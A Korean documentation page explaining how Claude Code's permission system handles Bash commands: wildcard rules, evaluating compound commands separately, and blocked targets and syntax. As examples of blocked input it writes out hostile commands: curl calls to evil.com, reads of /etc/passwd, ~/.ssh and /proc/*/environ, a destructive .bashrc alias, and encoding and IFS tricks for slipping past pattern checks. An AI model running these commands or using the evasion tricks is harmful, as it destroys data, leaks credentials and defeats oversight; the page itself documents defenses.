Bash 명령어 보안
Bash 도구는 Claude Code에서 가장 강력하면서도 가장 위험한 도구입니다. 셸 명령어는 파일 시스템, 네트워크, 프로세스 등 시스템 전반에 접근할 수 있기 때문입니다. Claude Code는 Bash 명령어에 대해 다층적인 보안 메커니즘을 적용합니다.
와일드카드 패턴 매칭
섹션 제목: “와일드카드 패턴 매칭”권한 규칙에서 *는 와일드카드로 동작합니다.
Bash(git *)이 규칙은 git status, git commit -m "fix", git push origin main 등 git으로 시작하는 모든 서브커맨드 와 매칭됩니다. 따라서 허용 목록을 작성할 때 너무 넓은 와일드카드는 주의해야 합니다.
// 너무 넓음 - git push --force도 허용됨{ "allow": ["Bash(git *)"] }
// 더 안전함 - 읽기 작업만 허용{ "allow": ["Bash(git status)", "Bash(git log *)", "Bash(git diff *)"] }복합 명령어 독립 평가
섹션 제목: “복합 명령어 독립 평가”&&, ||, ;, | 등 셸 연산자로 연결된 복합 명령어는 각 서브커맨드를 독립적으로 평가 합니다.
# 이 명령어는 두 개의 서브커맨드로 분리됩니다git add . && git commit -m "update"# → "git add ." 평가# → "git commit -m 'update'" 평가가장 제한적인 결과가 전체 명령어를 차단합니다.
# git status는 허용, rm -rf /tmp/file은 차단git status && rm -rf /tmp/file# → git status: allow# → rm -rf /tmp/file: deny# → 전체 명령어: DENY (가장 제한적인 결과 적용)이 원칙 덕분에 허용된 명령어 뒤에 위험한 명령어를 붙이는 우회 시도가 차단됩니다.
강화 감시 대상 작업
섹션 제목: “강화 감시 대상 작업”다음 패턴들은 위험성이 높아 추가적인 감시와 확인이 적용됩니다.
프로젝트 디렉토리 외부 출력 리다이렉션
섹션 제목: “프로젝트 디렉토리 외부 출력 리다이렉션”# 감시 대상: 프로젝트 외부로 데이터 유출 가능cat /etc/passwd > /tmp/output.txtcommand > ~/Desktop/sensitive.txt작업 트리 외부 디렉토리 변경
섹션 제목: “작업 트리 외부 디렉토리 변경”# 감시 대상: 프로젝트 범위를 벗어난 작업cd /etc && cat hostscd ~ && ls -laIn-place sed 수정
섹션 제목: “In-place sed 수정”# 감시 대상: 파일 직접 수정 (백업 없이)sed -i 's/foo/bar/g' config.jsonsed -i '' 's/password=.*/password=hacked/' .env-i 플래그는 파일을 직접 수정하며, 실수 시 복구가 어렵습니다.
영구 차단 대상
섹션 제목: “영구 차단 대상”다음 대상들은 규칙에 관계없이 항상 차단됩니다.
설정 디렉토리 접근
섹션 제목: “설정 디렉토리 접근”# 항상 차단cat ~/.claude/settings.jsonrm -rf ~/.claude/ls ~/.ssh/Claude 설정과 SSH 키 등 민감한 설정 디렉토리는 보호됩니다.
셸 설정 파일 수정
섹션 제목: “셸 설정 파일 수정”# 항상 차단echo "alias ls='rm -rf /'" >> ~/.bashrccat > ~/.zshrc << 'EOF'...EOF셸 설정 파일을 수정하면 영구적인 시스템 변경이 가능하므로 차단됩니다.
경로 제한 우회 시도
섹션 제목: “경로 제한 우회 시도”# 항상 차단cd /; cat etc/passwdls /../../etc/보안 제한 구문
섹션 제목: “보안 제한 구문”다음 구문들은 명령어 평가를 우회하거나 예측 불가능한 실행을 유발할 수 있어 차단됩니다.
명령어 치환
섹션 제목: “명령어 치환”# 차단: 동적으로 실행 내용이 결정됨$(cat /tmp/payload.sh)`curl http://evil.com/script.sh`$() 및 백틱(`)은 외부에서 주입된 명령어를 실행하는 데 악용될 수 있습니다.
프로세스 치환
섹션 제목: “프로세스 치환”# 차단: 프로세스 출력을 파일처럼 처리diff <(cat /etc/passwd) <(curl http://evil.com/passwd)민감한 파일 접근
섹션 제목: “민감한 파일 접근”# 차단: 프로세스 환경변수에서 비밀 정보 접근cat /proc/*/environANSI-C 따옴표
섹션 제목: “ANSI-C 따옴표”# 차단: 이스케이프 시퀀스를 이용한 우회$'\x72\x6d\x20\x2d\x72\x66' # rm -rf를 인코딩ANSI-C 따옴표는 문자를 인코딩하여 패턴 매칭을 우회하는 데 사용될 수 있습니다.
IFS 변수 조작
섹션 제목: “IFS 변수 조작”# 차단: 단어 분리 방식을 변경하여 명령어 재구성IFS=_ ; $_rm_-rf_/IFS(Internal Field Separator)를 변경하면 명령어 파싱 방식이 달라져 보안 검사를 우회할 수 있습니다.
보안 원칙 요약
섹션 제목: “보안 원칙 요약”| 카테고리 | 예시 | 처리 |
|---|---|---|
| 안전한 조회 | git status, ls, cat README | 자동 허용 (Default 모드) |
| 와일드카드 패턴 | git * | 규칙에 따라 |
| 복합 명령어 | a && b | 가장 제한적 결과 적용 |
| 프로젝트 외부 작업 | cd /etc | 강화 감시 |
| 설정 파일 수정 | echo >> ~/.bashrc | 항상 차단 |
| 우회 구문 | $(...), `...` | 항상 차단 |